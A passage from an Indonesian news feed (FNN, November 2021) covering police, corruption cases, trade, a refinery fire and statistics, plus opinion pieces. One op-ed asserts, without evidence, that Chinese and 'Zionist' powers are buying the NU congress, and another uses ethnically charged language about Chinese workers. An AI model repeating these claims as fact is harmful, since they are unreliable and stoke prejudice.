Banjarmasin, FNN - Kapolda Kalimantan Selatan Irjen Pol Rikwanto menyemangati personel Brimob yang kini tergabung dalam Satgas Pam Rahwan melaksanakan tugas BKO di Polda Papua. "Di momen HUT ke-76 Korps Brimob, saya yakin anggota Brimob Kalsel yang di Papua tambah semangat memberikan pengabdian terbaik bagi bangsa dan negara," ucap Rikwanto di Banjarmasin, Senin. Ditegaskan dia, anggota yang diberikan kepercayaan tugas di Papua adalah personel terbaik dan terpilih berdasarkan proses seleksi ketat. Untuk itulah, Rikwanto yakin personelnya dapat menyelesaikan misi di Bumi Cendrawasih sesuai yang direncanakan, kembali dengan selamat tanpa kurang satu apapun. "Jaga kepercayaan negara dengan pelaksanaan tugas secara profesional dan loyalitas memegang teguh komando pimpinan," tegasnya. Kapolda pun mengapresiasi personel Brimob Kalsel yang turut menyempatkan untuk berbagi kepada warga di Papua saat momen HUT ke-76 Korps Brimob dengan bakti sosial pembagian sembako untuk warga sekitar Pos Merah Putih Mimika. "Brimob dengan motto pengabdiannya jiwa ragaku demi kemanusiaan benar-benar telah dijalankan personel kita di lapangan yang kini bertugas di Papua," tuturnya. Personel Brimob Kalsel melaksanakan tugas BKO di Polda Papua terhitung sejak 10 Maret 2021 sampai 15 September 2021 namun kemudian diperpanjang sampai 31 Desember 2021. Awalnya ada 100 personel yang ditugaskan. Namun sekarang tersisa 96 orang lantaran satu kembali untuk alasan berobat, satu mengikuti pendidikan alih golongan dari bintara ke perwira serta dua orang meninggal dunia terlibat kecelakaan lalu lintas saat patroli di Kabupaten Mimika, Papua. (mth)

KPK Kebut Pemeriksaan Saksi Kasus Pembangunan Gereja di Mimika

Timika, FNN - Tim penyidik Komisi Pemberantasan Korupsi (KPK) selama lebih dari sepekan terus mengebut pemeriksaan para saksi terkait kasus pembangunan gedung Gereja Kingmi Mile 32 di Kabupaten Mimika, Provinsi Papua. Pelaksana Tugas Juru Bicara KPK, Ali Fikri, dalam pernyataannya, Senin, 15 November 2021, menyebut terdapat empat orang saksi yang dipanggil untuk diperiksa pada Senin siang hingga petang. Para saksi yang diperiksa itu terdiri atas Feriadi selaku Manajer PT KPPN, perusahaan kontraktor pelaksana pembangunan Gereja Kingmi Mile 32 Mimika. Selanjutnya Gustaf U Patandianan selaku Kepala Cabang PT Satria Creasindo Prima yang bertindak sebagai konsultan perencanaan. Yang bersangkutan juga diketahui bertugas sebagai orang lapangan konsultan pengawas pembangunan Gereja Kingmi 32 Mimika tahap I dan tahap II. Juga ikut dipanggil oleh tim penyidik KPK yaitu dua Pegawai Negeri Sipil di lingkungan Pemkab Mimika. Mereka terdiri atas Melkisedek Snae selaku mantan Pejabat Pelaksana Teknis Kegiatan pembangunan Gereja Kingmi Mile 32 Mimika tahap I dan tahap II dan Bambang Widjaksono selaku Kepala Bagian Layanan Pengadaan Secara Elektronik Kabupaten Mimika. "Mereka semua dipanggil untuk diperiksa sebagai saksi dugaan tindak pidana korupsi pelaksanaan pembangunan Gereja Kingmi Mile 32 Tahap 1 Tahun Anggaran 2015 di Kabupaten Mimika," kata dia, sebagaimana dikutip dari Antara. Fikri menyebut pemeriksaan para saksi terkait kasus pembangunan Gereja Kingmi Mile 32 Mimika itu berlangsung di Kantor Polres Mimika. "Pemeriksaan dilakukan di Kantor Kepolisian Resor Mimika," ujarnya. Namun Kepala Polres Mimika AKBP IGG Era Adhinata, yang dikonfirmasi terkait pemeriksaan para saksi kasus pembangunan Gereja Kingmi Mile 32 mengaku tidak mengetahui hal itu. "Tidak tahu saya, itu khan di Markas Komando Detasemen B Pelopor Brimob Polda Papua di Timika, bukan di Polres Mimika," kata dia. Pemeriksaan para saksi terkait kasus pembangunan Gereja Kingmi Mile 32 Mimika telah berlangsung secara marathon sejak Rabu, 10 November 2021 lalu, dimana hingga Senin ini sudah 14 orang telah diperiksa oleh tim penyidik KPK. Untuk diketahui, pembangunan gedung Gereja Kingmi Mile 32 Mimika itu telah menghabiskan anggaran sekitar Rp 200 miliar dari sumber APBD Mimika tahun anggaran 2015, 2016, 2019 dan APBD Perubahan 2021. (MD).

Indonesia Pasok Hampir 70 Persen Kebutuhan Sarang Walet China

Beijing, FNN - Indonesia masih menjadi negara eksportir sarang burung walet terbesar karena berhasil mencukupi 69,9 persen kebutuhan China selama periode Januari-Juli 2021. Selama periode tersebut, China mengimpor sarang burung walet dengan nilai total sebesar 224,7 juta dolar AS (Rp 3,2 triliun). "Sekitar 69,9 persennya berasal dari Indonesia atau naik 31,8 persen dibandingkan impor China pada periode Januari-Juli 2020," kata Atase Perdagangan pada Kedutaan Besar RI di Beijing Marina Novira Anggraini, Senin, 15 November 2021. Dengan demikian, Indonesia masih menjadi andalan utama pemasok sarang burung walet China. "Indonesia sampai saat ini menjadi negara produsen sarang burung walet terbesar di dunia. Sekitar 80 persen sarang burung walet di dunia berasal dari Indonesia," ujarnya, sebagaimana dikutip dari Antara. Ia menyebutkan awalnya hanya enam perusahaan asal Indonesia yang terdaftar sebagai pemasok sarang burung walet ke China pada 2015. "Sejak 2019, pemerintah Indonesia terus berupaya menambah jumlah perusahaan sarang burung walet yang terdaftar di China," kata Marina. Saat ini sudah ada 23 perusahaan Indonesia yang secara resmi terdaftar di Badan Kepabeanan China (GACC) yang telah berhasil memasok produknya ke negara berpenduduk terbanyak di dunia itu. "Indonesia dikenal sebagai negara penghasil sarang burung walet berkualitas terbaik yang bisa digunakan sebagai makanan suplemen, obat-obatan, dan kosmetik karena tingginya kandungan nutrisi," kata Marina. (MD).

Tokoh Alternatif dalam Muktamar NU-34 Lampung: Jusuf Kalla!

Oleh: Abdul Malik Said PERTARUNGAN berat dua kandidat calon Ketum PBNU pada Muktamar-34 NU pada Desember 2021 nanti antara Said Agil Sirodj (SAS) versus Yahya Cholil Staquf (YS). Kedua kandidat ini memiliki mesin penggerak secara sistematis progresif dan The Big Buzzer Power yang masing-masing menguasai dan memiliki jurusan jitu, pola tingkah, cara kelola, dan strategi komando The Big Power New Order's. Kalkulasi politis kekuasaan dan kekuatan basis the order man's (Oligarki atau Chines Communis) akan berpihak kepada Yahya Cholil Staquf, karena Staquf itu sosok pemberani dengan jelas dan terang benderang menyerang dan merendahkan Islam dan Bangsa Arab. Kini Oligarki mendaulat Staquf terlebih dahulu dalam kepemimpinan di Ormas terbesar ini (Nahdlotul Ulama) meski Staquf itu dalam cengkraman Zionis Yahudi. Amerika - Israel tentu akan pasang badan dalam pertempuran di Muktamar Desember mendatang. Laga Muktamar merupakan ajang perhelatan dua super power China versus Israel-Amerika, bukan pergantian kepemimpinan di tubuh NU yang terhormat ini. Kalau ini benar adanya, tentunya pemilik hak suara dari PWNU dan PCNU menjadi sasaran tembak dengan peluru-peluru Dolar, Yuwan dan Rupiah yang menuju sasaran tembaknya. Mungkinkah ini terjadi? Selayang pandang, ternyata hotel-hotel sudah take over, adakah DP hajat Muktamar? Tebaran janji-janji manis sudahkah On Line? Nasib Jam'iyyah NU di ambang kehancuran. Para ulama dan kiai sudah banyak kehilangan marwahnya demi Hubbu Ad Dun-Ya Wal Jaah, mereka tak lagi berfikir untuk mengembalikan Jati Diri Jam'iyyah NU berlandaskan pada Qonun Asasi dan Khitthoh 1926. Dari dua kandidat tersebut, muncul sosok yang sangat diperhitungkan dan digadang-gadang oleh semua pihak baik dari Politisi, Ekonom, Legislatif, Yudikatif dan pula Eksekutif, bahkan dari kalangan kaum Nahdliyin baik yang ada di struktural. Terlebih di kultural di kalangan para kiai, ulama, tuan guru dan habaib seluruh Indonesia, karena beliau adalah orang NU dan pernah menjadi Pengurus NU, juga beliau berkontribusi pada pembangunan Gudung PBNU di Jakarta. Siapakah sosok yang digadang-gadang, yang dielu-elukan tersebut? Dialah: H. Muhammad Yusuf Kalla. Wah, berita munculnya nama JK nama julukan beliau, yang merupakan kandidat baru ini menjadi tranding topik hampir di semua Medsos. Gegap-gempita dan gembira sambutan kedatangan kandidat baru ini bak Nabi Muhammad SAW disambut oleh kaum Ansorin Madinah dengan Thola'al Badru Alaina. Telah tiba bulan purnama pada kita kaum Nahdliyin. Secercah harapan NU untuk bersinar kembali pada masanya. JK bak bulan purnama yang bersinar terang-benderang di Tubuh Jam'iyyah Nahdlotul Ulama yang mampu mengendalikan secara Amanah dengan rasa Adil, Tawassut, Tawazun, Tasamuh ala Thoriqoh Ahlus Sunnah wal Jamaah yang Rahmatan Lil Alamin. Ketokohan dan leadership JK di Negeri ini sangat berpengaruh besar baik di dalam maupun luar negeri. JK yang pernah menjadi Pengurus NU ini mendapatkan mandataris kaum Nahdliyin untuk menyelamatkan Jam'iyyah NU ini dari pengaruh Liberal, Sekuler, Syi'ah, Zionis Yahudi, Komunis China/PKI. Berita JK semakin menggelora, mungkin bisa menjadikan pusing para kandidat dan khususnya Oligarki pemegang instrumen dalam Muktamar NU Ke 34 di Lampung nanti. Segala upaya tentunya akan dilakukan demi golnya sang jagoan dalam gelanggang Muktamar. Sasak sana sasak sini, sogok sana sogok sini. Tipu daya mereka berjalan seiring putarnya jarum jam dinding, terus atur strategi menangkan jago ordernya dan kalahkan jago mereka. Menuju Tahun 2024 Pemilihan Presiden Republik Indonesia. Kalau sudah begini, masih adakah NKRI? Lalu NU di mana, dan apa posisi keberadaannya? HM Yusuf Kalla lebih baik dari dua kandidat yang papan atas calon Ketum PBNU saat ini. Penulis Adalah Pengasuh PP HAQ An-Nahdliyah, Sidoarjo

Ketua DPD RI Minta Kebakaran Kilang Minyak di Cilacap Diinvestigasi

Surabaya, FNN - Ketua DPD RI, AA LaNyalla Mahmud Mattalitti, meminta pemerintah mengusut tuntas penyebab kebakaran tangki di kilang minyak kawasan Cilacap, Jawa Tengah. Apalagi, ada dugaan kesengajaan dalam peristiwa tersebut. "Pemerintah harus melakukan investigasi secara menyeluruh agar penyebabnya bisa diketahui dengan jelas. Sehingga tidak ada berita atau isu-isu liar yang menyesatkan," kata LaNyalla di sela-sela kunjungan dapil di Jawa Timur, Senin (15/11/2021). Dijelaskan LaNyalla, Investigasi dan evaluasi harus dilakukan secara menyeluruh terhadap pengelolaan Blok Cilacap. Karena berdasarkan data telah terjadi tujuh kali kebakaran sejak tahun 1995. Bahkan, kebakaran terakhir belum lama terjadi, yakni Juni 2021. "Kita juga mempertanyakan sistem keamanan yang digunakan Pertamina, kenapa hal itu bisa berulang dalam waktu berdekatan. Seharusnya Pertamina bisa memproteksi dari penyebab tak terduga atau disebabkan alam semisal petir," ucap dia. Selain itu menurut LaNyalla, kilang minyak Cilacap merupakan kilang yang sangat besar. Sehingga berbagai dugaan yang muncul seperti penguasaan mafia migas harus diusut, agar negara tidak terus menerus dirugikan. "Yang perlu dilakukan kemudian adalah mengamankan pasokan bahan bakar, terutama Pertalite, di seluruh Indonesia. Mengingat kebakaran tersebut terjadi di kilang minyak yang berisi Pertalite. Jangan sampai peristiwa ini menyebabkan goncangan pasokan bagi konsumen sehingga dimanfaatkan oleh mafia untuk mendorong terjadi impor," tuturnya. Pemerintah dan Pertamina, tambahnya, harus meningkatkan secara signifikan proses pengawasan, perawatan dan protokol pengamanan dari seluruh kilang yang ada. Tidak hanya di Blok Cilacap saja, tetapi juga di tempat lainnya. "Saya juga meminta jaminan keselamatan warga yang berada di sekitarnya. Serta langkah-langkah kongkrit jika terjadi ledakan yang sewaktu-waktu terjadi kembali," ucapnya. Seperti diketahui tangki di kilang minyak PT Pertamina (Persero) di Cilacap, Jawa Tengah, mengalami kebakaran pada Sabtu (13/11) petang. Kebakaran terjadi di salah satu tangki berisi produk Pertalite. Sebelumnya Manager Communication Pertamina Cilacap, Cecep menduga penyebab kebakaran akibat tersambar petir. Karena kebakaran terjadi saat hujan lebat dan disertai petir.(*)

Jakarta 0 Kilo Meter

Oleh Ridwan Saidi Kami bertiga (photo atas) berdiri tepat di titik Jakarta 0 kilo meter. Di titik ini Belanda mendirikan Roa (tanda/patokan) berupa monument stone, rujukan foto dokumen tahun 1916. Tak diketahui bila monument stone ini dirobohkan. Saya masih simpan photo tersebut. Selain itu seorang tokoh Betawi almarhum Syah Manaf, yang wafat sekitar 5 tahun lalu dalam usia 80-an tahun, memberi kesaksian kepada saya tentang keberadaan monument tersebut. Rumah Syah Manaf sendiri tak jauh dari lokasi monument stone itu. Sebagai alat bukti lain dapat disaksikan di lokasi permukaan tanah yang menunjukkan bekas-bekas adanya benda berat. Di perempatan Roxy pernah ada papan penunjuk ke timur Batavia 2 kilo meter dan ke barat Tangerang. Foto dokumen ada pada saya. Roa atau patokan, penting untuk sebuah kota besar seperti Jakarta. Lokasi monument di tepi sodetan kali Ciliwung Jalan Juanda di ujung pertigaan dengan Jl Pecenongan. Jakarta - Bogor 60 kilo meter menghitungnya dari Jakarta 0 kilo meter sampai dengan Hotel Salak Bogor yang juga ada patoknya. Jakarta - Tanjung Priyuk 10 kilo meter dihitung dari 0 kilo meter sampai Stasion KA Tanjung Priyuk. Saya menulis sesuai dengan ejaan asli Priyuk yang artinya U-turn. Dalam bahasa Betawi balik bakul. Baik di Jakarta maupun Bogor patokan tidak dipasang di istana, tapi tak jauh dari istana. Penyanyi legendaris Munif Bahaswan, dengan lagu bekend Bunga Nirwana, bercerita ke saya tentang Jakarta. Munif mengutip A. Rahman, seniman musik Melayu Medan, bahwa pada tahun 1930 datang ke Jakarta seorang bangsawan Johor, Malaysia. Bangsawan itu jatuh hati dengan keindahan Jakarta. Ia menggubah lagu dan diberinya judul Jakarta Gembira. Sebait liriknya: Kalau Tuan tamasya ke Tanah Jawa Jangan lupa mampir dulu di Jakarta Jakarta kota dagang yang istimewa Terkenal di seluruh dunia Riang serta gembira Kota Jakarta permata Tanah Jawa. *) Budayawan

Kejaksaan Agung Kejar Aset Terdakwa Asabri Hingga Ke Luar Negeri

Jakarta, FNN - Penyidik Kejaksaan Agung telah memiliki daftar aset yang diduga terafiliasi dengan terdakwa maupun tersangka korupsi PT Asabri (Persero) yang berada di luar negeri dan segera melakukan pengejaran terhadap aset-aset tersebut. Direktur Penyidikan Jaksa Agung Muda Tindak Pidana Khusus (Dirdik JAM-Pidsus) Kejaksaan Agung Supardi menyebutkan, saat ini tim penyidik tengah menyiapkan langkah hukum untuk melakukan gugatan atas aset-aset tersebut, baik berupa saham maupun lainnya. "Ada negara yang terbuka, kami akan kesana (kejar aset terdakwa Asabri, red), saatnya nanti akan kami kasih tahu, mudah-mudahan bisa berhasil karena kami akan melalui proses gugatan," kata Supardi saat dikonfirmasi di Jakarta, Senin, 15 November 2021. Menurut Supardi, pihaknya akan memaksimalkan pengejaran aset-aset tersangka dan terdakwa Asabri, dalam rangka pengembalian kerugian keuangan negara yang ditimbulkan dalam perkara ini mencapai Rp 22,78 triliun. Selain itu, dalam persidangan kasus Asabri, terungkap sejumlah fakta, di antaranya dugaan aset-aset yang disamarkan atas nama pihak lain atau mitra terdakwa maupun tersangka. "Kalau arahnya kesana pasti akan kami panggil. Apalagi kalau keteranganya penting tentu mereka harus kami panggil lagi (diperiksa-red)," tuturnya, sebagaimana dikutip dari Antara. Hingga kini, kata Supardi, pemburuan aset perkara Asabri masih terus dilakukan mengingat ada indikasi sejumlah aset yang sengaja disamarkan atau dialihkan untuk menghindari penyitaan. Selain itu, ada pula tersangka lain yang menunjukkan niat baik mengembalikan dana pengelolaan reksadana milik PT Asabri. Pengembalian ini dilakukan dua tersangka Manager Investasi (MI). "Ada dua tersangka yang mengembalikan. Tersangka MAM dan IIM," ucap Supardi menambahkan. Menurut Supardi, dua tersangka MI tersebut telah mengembalikan uang senilai Rp 10,7 miliar. Sementara itu, terkait klaim kuasa hukum salah satu terdakwa Asabri yang mengaku aset kliennya disita melebihi nilai tanggungannya, menurut Supardi pernyataan tersebut harus dibuktikan terlebih dahulu. Dalam sidang perkara Asabri di Pengadilan Tindak Pidana Korupsi (Tipikor) Jakarta, Rabu, 10 September. Direktur Investasi dan Keuangan PT Asabri periode Juli 2014 - Agustus 2019 Hari Setianto yang dihadirkan sebagai saksi mengungkapkan, terdakwa Benny Tjockrosaputro telah membayar PT Asabri dengan aset berupa tanah milik PT Harvest Time ketika ditagih soal hasil investasi. Dalam kesaksiannya Hari Setianto mengaku, total uang yang didapat Benny dari PT Asabri adalah Rp 802 miliar untuk pembelian saham PT Harvest. Lalu, karena proses investasi tidak berjalan dengan baik, pada sekitar bulan April sampai Mei 2016, Direksi Asabri melakukan penagihan uang muka pembelian saham pada Benny. Menurut Hari, Benny memberikan uang tunai Rp 100 miliar, kemudian Rp 702 miliar sisanya ditukar dengan kavling. Karena mendapatkan masukan dari konsultannya, lanjut Hari, PT Asabri kemudian mengenakan bunga pengembalian pada Benny senilai Rp 30 miliar. Sehingga yang ditukar kavling bukan Rp 702 miliar tapi Rp 732 miliar. Hal hal tersebut berbanding terbalik dengan terdakwa Heru Hidayat, yang dalam dakwaan Jaksa Penuntut disebut kerugian yang diakibatkan terdakwa ini terbesar pada kasus Asabri. Diduga kerugian dalam jumlah besar itu dilakukan tidak seorang diri dibantu sejumlah mitra, seperti AP, AR dan MW. Namun, penyitaan terhadap aset terdakwa dan mitranya belum sebanding dengan kerugian yang ditimbulkan. Menanggapi dugaan keterlibatan para mitranya yang turut secara bersama membantu terjadinya transaksi akal-akalan dalam menggoreng saham ataupun membantu mengalihkan aset-aset serta disamarkan, Supardi mengatakan setiap informasi yang muncul akan ditelaah penyidik. Jika ditemukan bukti pidananya, penyidik akan bergerak. "Sabar, berikan waktu penyidik untuk bekerja. Kalau memang ada mitra terdakwa ditemukan aliran dana dari dia (Heru Hidayat, red), pasti akan kami kejar. Pokoknya kalau ada lubang untuk mengejar, ya tentu kami akan kejar," tutur Supardi. Sebelumnya, Koordinator Masyarakat Anti Korupsi (MAKI) Boyamin Saiman mendorong tim penyidik untuk lebih memaksimalkan pelacakan aset-aset milik terdakwa dan tersangka Asabri, baik di dalam maupun di luar negeri. Termasuk melacak aset-aset yang diduga terafiliasi dengan sejumlah mitranya. "Kemarin alasan Covid, sudah mereda mestinya bisa dilacak termasuk ke luar negeri. Sudah bisa masuk Hong Kong, Singapura termasuk Filipina dan Amerika. Sekarang dilacak lagi agar (pengembalian kerugian negara) mendapatkan hasil maksimal," kata Boyamin. "Pokoknya siapa pun diduga terlibat, ada dua alat bukti, ikut membantu dan menikmati hasil, layak ditetapkan sebagai tersangka," ujarnya. (MD).

Indeks Pembangunan Manusia di DKI Sangat Tinggi Pada 2021

Jakarta, FNN - Badan Pusat Statistik (BPS) DKI Jakarta mencatat Indeks Pembangunan Manusia (IPM) di Ibu Kota pada 2021 termasuk kategori sangat tinggi dengan mencapai 81,11 atau tumbuh 0,42 persen dibandingkan pada 2020 sebesar 80,77. "Dari tahun 2011 perkembangan IPM terus meningkat dari 76,98 hingga 2021 mencapai 81,11," kata Koordinator Fungsi Neraca Wilayah dan Analisis Statistik BPS DKI Jakarta Suryani Widarta di Jakarta, Senin, 15 November 2021. Sejak 2011 hingga 2021, IPM di Jakarta meningkat 4,13 poin dengan rata-rata pertumbuhan 0,52 persen per tahun. Menurut Surayni, kategori IPM terbagi menjadi empat golongan, yakni nilai lebih kecil dari 60 kategori rendah, kemudian 60-70 masuk kategori sedang, nilai 70-80 tergolong tinggi dan di atas 80 kategori IPM yang sangat tinggi. Dia menjelaskan penghitungan IPM menggunakan unsur tiga dimensi, yaitu umur panjang dan hidup sehat, pengetahuan, dan standar hidup layak. BPS DKI Jakarta mencatat IPM di DKI selalu di atas 80 atau termasuk kategori sangat tinggi mulai 2017. Nilai IPM tinggi itu, lanjut dia, tidak terlepas dari pengaruh komponen pendukung, seperti umur harapan hidup saat lahir mencapai 73,01 tahun pada 2021 atau tumbuh 0,14 persen dibandingkan tahun sebelumnya mencapai 72,91 tahun. Selain umur harapan hidup, IPM tinggi juga dipengaruhi harapan lama sekolah rata-rata mencapai 11,17 tahun atau tumbuh 0,69 persen dari tahun lalu sebesar 11,13 tahun. Sedangkan rata-rata lama sekolah di Jakarta mencapai 13,07 tahun atau tumbuh 0,36 persen dari tahun sebelumnya 12,98 tahun. Kemudian, pengeluaran per kapita per tahun yang disesuaikan mencapai Rp 18,52 juta atau tumbuh 1,61 persen dari 2020 mencapai Rp 18,23 juta. Naiknya IPM di Jakarta menjadikan Ibu Kota berada di posisi pertama dan lebih tinggi dari IPM Indonesia yang mencapai 72,29. (MD).

Presiden Minta Kegiatan Sekolah Tatap Muka Diawasi Ketat

Jakarta, FNN - Presiden RI Joko Widodo meminta pengawasan kegiatan sekolah tatap muka dilakukan secara ketat untuk menghindari terjadinya penyebaran COVID-19. Hal tersebut disampaikan Presiden dalam rapat terbatas dengan sejumlah menteri di Jakarta, Senin. "Presiden mengarahkan agar sekolah tatap muka dilakukan surveillance yang ketat agar ketika ada indikasi kita bisa melakukan tindakan agar tidak menyebar," ujar Menteri Kesehatan Budi Gunadi Sadikin ​​​​​seusai mengikuti rapat terbatas, di Jakarta. Budi mengatakan pihaknya memang sudah mengidentifikasi dari pekan ke pekan apabila ada kenaikan jumlah kasus di sejumlah kabupaten dan kota. Dia menyampaikan pekan lalu berdasarkan observasi Kementerian kesehatan, terdapat 126 kabupaten/kota yang mengalami kenaikan kasus, di mana beberapa di antaranya juga ada yang sudah tiga minggu berturut-turut mengalami kenaikan kasus. "Sehingga kita melakukan pendalaman. Dan sebagian besar kenaikan disebabkan adanya kenaikan kasus positif di sekolah. Oleh karena itu saya dan pak Nadiem (Mendikbud Ristek, red) akan melakukan konsolidasi mudah-mudahan kita bisa menyelesaikan program sekolah tatap muka tapi dengan surveillance yang aktif dan lebih proaktif," tutur dia. Adapun dalam rapat terbatas tersebut, Budi mengatakan bahwa Presiden bersyukur kasus aktif COVID-19 sudah menurun. Namun, Presiden meminta semua pihak tetap waspada terutama dalam menghadapi Natal dan Tahun Baru, agar tidak terjadi lonjakan kasus berikutnya. (mth)

MK Tunda Sidang Uji Materi UU Karena Kuasa Presiden dan DPR Belum Siap

Jakarta, FNN - Majelis hakim Mahkamah Konstitusi (MK) Republik Indonesia menunda sidang lanjutan permohonan pengujian materi Undang-Undang Nomor 11 Tahun 2019 tentang Sistem Nasional Ilmu Pengetahuan dan Teknologi karena pihak DPR dan kuasa Presiden belum siap. "DPR maupun kuasa Presiden meminta penundaan karena belum siap dan masih menyusun masing-masing keterangan," kata Ketua MK Anwar Usman di Jakarta, Senin. Sidang perkara Nomor 46/PUU-XIX/2021 pada awalnya diagendakan untuk mendengarkan keterangan dari pihak Presiden dan DPR khususnya Komisi III. Sementara itu, perwakilan DPR Supriansa mengatakan bahwa alasan penundaan tersebut karena pada hari yang sama sedang ada agenda di Komisi III. Oleh karena itu, dia tidak bisa mengikuti sidang dan meminta penggantian jadwal. "Kami berharap yang mulia agar bisa dijadwal ulang pembacaan dari DPR terkait sidang hari ini," katanya. Senada dengan itu, kuasa Presiden selaku pihak dari pemerintah mengatakan bahwa pihaknya sebelumnya telah mengirimkan surat ke MK terkait dengan permintaan penundaan sidang pengujian UU Nomor 11 Tahun 2019 tentang Sistem Nasional Ilmu Pengetahuan dan Teknologi sebagaimana diubah dengan UU Nomor 11 Tahun 2020 tentang Cipta Kerja. Terkait dengan penggantian jadwal sidang, Anwar Usman mengatakan bahwa kepaniteraan akan menyusun ulang dan segera memberitahukan pihak-pihak terkait. Sebelum sidang ditutup, Ketua MK Anwar Usman mengungkapkan terdapat bukti tambahan yang diberikan oleh pemohon dan telah diverifikasi serta dinyatakan sah. Dalam perkara tersebut, permohonan pemohon atas nama Heru Susetyo pada intinya meminta pengujian materi kata "terintegrasi" dalam Pasal 48 ayat (1) dan frasa "antara lain" dalam penjelasan Pasal 48 ayat (1) Undang-Undang Nomor 11 Tahun 2019 tentang Sistem Nasional Ilmu Pengetahuan dan Teknologi. (mth)

Jakbar Berupaya Percepat Normalisasi Kali Pesanggrahan

Jakarta, FNN - Pemerintah Kota Jakarta Barat berkoordinasi dengan Besar Wilayah Sungai Ciliwung Cisadane (BBWSCC) untuk mempercepat normalisasi Kali Pesanggrahan. "Kita selalu koordinasi dengan BBWSCC dan Dinas supaya dilakukan percepatan normalisasi," kata Wali Kota Jakarta Barat Yani Yani Wahyu Purwoko usai melakukan apel kesiapan banjir di kantor Wali Kota Jakarta Barat, Senin. Menurut Yani, Kali Pesanggrahan perlu dilakukan normalisasi lantaran kerap menyebabkan banjir di wilayahnya kala air kiriman meluap. Salah satu wilayah bantaran Kali Pesanggrahan yang kerap terkena banjir adalah Jalan Haji Briti, Kelurahan Kembangan Selatan. Yani belum bisa memastikan kapan proses normalisasi tersebut akan berlangsung. Dia hanya memastikan penanganan banjir melalui jajaran suku dinas akan maksimal di seluruh kecamatan Jakarta Barat. "Maka langkah kita membentuk tim khusus yang membawahi beberapa kecamatan rawan banjir. Insya Allah kita bisa meminimalisir dampak banjir," kata Yani. Suku Dinas Sumber Daya Air (SDA) Jakarta Barat mengungkapkan, banjir yang terjadi di wilayah itu pada Minggu (7/11) bukan akibat hujan deras melainkan kiriman dari Bogor yang mengalir lewat kali Pesanggrahan. "Memang semua yang dekat Kali Pesanggrahan itu banjir. Jadi genangan itu dari Kali Pesanggrahan," kata Kepala Seksi Pemeliharaan Drainase Suku Dinas (Sudin) SDA Jakarta Barat Wawan Kurniawan saat dikonfirmasi. Wawan mencontohkan beberapa genangan yang terjadi seperti di Green Garden dan Jalan Haji Briti Kebon Jeruk. Menurut dia, luapan air dari Katulampa (Bogor) begitu tinggi sehingga air cepat meluap. Kondisi itu diperparah dengan belum maksimalnya normalisasi bantaran kali. Karena itu, pihaknya tengah membangun tanggul sementara di beberapa titik aliran Kali Pesanggrahan guna menahan air agar tidak meluap. "Kita bangun tanggul sementara di tiga titik aliran yang banjir kemarin. Tiga titik itu ada di kecamatan Kebon Jeruk semua," kata dia. (mth)

Menggugat Kebohongan dan Kejahatan Seputar TKA China pada Industri Nikel

Oleh Marwan Batubara DIRJEN Minerba Ridwan Djamaluddin dalam Rapat Dengar Pendapat Umum (RDPU) dengan Komisi VII DPR RI pada 11 November 2021 mengatakan bahwa jumlah tenaga kerja di sektor mineral dan batubara (minerba) mencapai 23.587 orang. Menurut Ridwan, dari jumlah tersebut terdapat 3.121 orang tenaga kerja asing (TKA). Khusus pada industri nikel, terserap 21.681 orang tenaga kerja Indonesia, dan 3.054 orang TKA asing. Ridwan juga mengatakan pengaturan penggunaan TKA setidaknya ada dalam tiga regulasi, yaitu UU No.3/2020 tentang Minerba, PP No.96/2021 tentang Kegiatan Usaha Pertambangan dan Permen ESDM No.25/2018 tentang Pengusahaan Pertambangan Minerba. Disebutkan, penyerapan TKA hanya dapat dilakukan jika tidak terdapat tenaga kerja lokal atau nasional yang memiliki kualifikasi yang dibutuhkan. Badan usaha dapat menggunakan TKA dalam rangka alih teknologi dan/atau alih keahlian, syarat pendidikan minimal strata 1, sertifikat keahlian, pengalaman kerja 10–15 tahun, masa kerja maksimal 5 tahun, dan usia maksimal 55 tahun. Penjelasan Ridwan pada RDPU di atas tidak benar. Ridwan telah membohongi wakil rakyat/DPR. Fakta di lapangan menunjukkan jumlah TKA China pada industri nikel nasional jauh lebih tinggi dari sekedar 3.054 orang. Berdasarkan penjelasan sumber terpercaya dan berita di banyak media, IRESS mendapatkan bahwa jumlah TKA China yang bekerja pada industri nikel lebih dari 80.000 orang. Puluhan ribu TKA China ini bekerja pada puluhan tambang dan smelter nikel yang tersebar di Sulawesi Tengah dan Sulawesi Tenggara. Ridwan juga berbohong tentang kualifikasi TKA. Faktanya, banyak investor smelter yang mayoritas pekerjanya adalah TKA China berkualifikasi rendah, lulusan setingkat SD/SMP. Padahal, jangankan lulusan setingkat SMP, tenaga kerja setingkat SMA dan D3/S1 pun tersedia melimpah di wilayah-wilayah sekitar smelter maupun secara nasional. Ridwan harus menjelaskan alih teknologi atau alih keahlian jenis pekerjaan apa yang akan dilakukan, sampai-sampai “pekerja primitif” Indonesia harus belajar dari puluhan ribuan TKA China lulusan SD/SMP! Pada Mei 2021 IRESS terlibat pelaporan kasus TKA China smelter Virtue Dragon Nickel Industry (VDNI) dan Obsidian Stainless Steel (OSS) ke DPR RI. VDNI mempekerjakan sekitar 2000 TKA lulusan SD 8%, SMP 39% dan SMA 44%. Lulusan D3/S1 hanya 2% dan berlisensi khusus 7%. Kondisi lebih parah terjadi pada smelter OSS yang mempekerjakan TKA lulusan SD 23%, SMP 31% dan SMA 25%. Lulusan D3/S1 17% dan TKA berlisensi khusus 4%. Ditemukan, hanya 1 dari 608 orang (0,1%) TKA di VDNI dan 23 dari 1167 orang TKA di OSS yang memiliki pengalaman diatas 5 tahun sesuai persyaratan yang disebut Ridwan! Ternyata, meskipun hanya lulusan SD/SMP, gaji TKA China jauh lebih besar dibanding gaji pekerja pribumi. Pada smelter VDNI, persebaran gaji bulanan sekitar 27% TKA menerima Rp 15 juta - Rp 20 juta; 47% menerima Rp 21 juta - Rp 25 juta; 16% menerima Rp 26 juta - Rp 30 juta; 5% menerima Rp 31 juta - Rp 35 juta, dan 4% menerima 36 juta – Rp 40 juta. Hal hampir sama terjadi pada smelter OSS. Mayoritas TKA lulusan SD, SMP dan SMA. Namun memperoleh gaji BESAR dengan sebaran antara Rp 15 juta hingga Rp 35 juta. Untuk jenis pekerjaan yang sama, gaji perkerja pribumi lulusan SD-SMA hanya berkisar antara Rp 4 juta hingga Rp 5 juta! Nasib pekerja pribumi pada smelter-smelter milik China dan konglomerat oligarkis memang tragis. Sudahlah kesempatan kerjanya dibatasi atau dirampok TKA China, gajinya pun umumnya super rendah dibanding gaji TKA China! Hal ini jelas mengusik rasa keadilan, sekaligus menghina rakyat Indonesia. Kita terjajah di negeri sendiri, disebabkan kebijakan oknum pejabat yang jadi jongos asing sambil menghisap rakyat sendiri! Ternyata sebagian besar TKA China menggunakan visa 212, yaitu visa kunjungan. 